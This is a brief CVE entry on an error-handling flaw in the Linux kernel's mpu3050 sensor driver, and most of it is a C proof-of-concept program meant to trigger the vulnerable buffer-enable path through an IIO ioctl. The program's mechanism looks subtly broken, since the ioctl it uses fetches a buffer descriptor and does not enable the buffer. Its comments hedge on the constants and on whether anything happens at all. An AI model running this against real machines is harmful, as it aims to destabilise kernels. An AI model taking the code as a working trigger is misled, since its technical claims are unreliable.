CVE-2026-43357 Linux内核mpu3050驱动错误处理漏洞

/* * Conceptual Proof of Concept for CVE-2026-43357 * This code attempts to trigger the vulnerable code path in the mpu3050 driver. * It requires a system with the vulnerable kernel version and the mpu3050 hardware present. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // Define the ioctl command to enable the buffer (triggering preenable) // The actual magic number may vary depending on kernel configuration #define IIO_BUFFER_GET_FD_IOCTL _IOWR('i', 0x91, int) int main() { const char *device_path = "/dev/iio:device0"; // Common path for IIO devices int fd = -1; int buffer_fd = -1; int ret; printf("[*] Attempting to open %s...\n", device_path); fd = open(device_path, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); printf("[-] Hint: The device may not exist or you may lack permissions.\n"); return 1; } printf("[+] Device opened successfully.\n"); printf("[*] Attempting to trigger buffer enable (preenable path)...\n"); // This ioctl triggers the buffer setup sequence. // Inside the kernel, this calls iio_buffer_enable(), then preenable(). // preenable() calls pm_runtime_get_sync() without checking the return value. ret = ioctl(fd, IIO_BUFFER_GET_FD_IOCTL, &buffer_fd); if (ret < 0) { perror("[-] ioctl failed"); // Failure is expected if hardware is not physically present or simulating fault printf("[*] If the kernel crashes here or behaves erratically, the vulnerability is triggered.\n"); } else { printf("[+] ioctl succeeded. Buffer FD: %d\n", buffer_fd); close(buffer_fd); } close(fd); printf("[*] PoC execution finished.\n"); return 0; }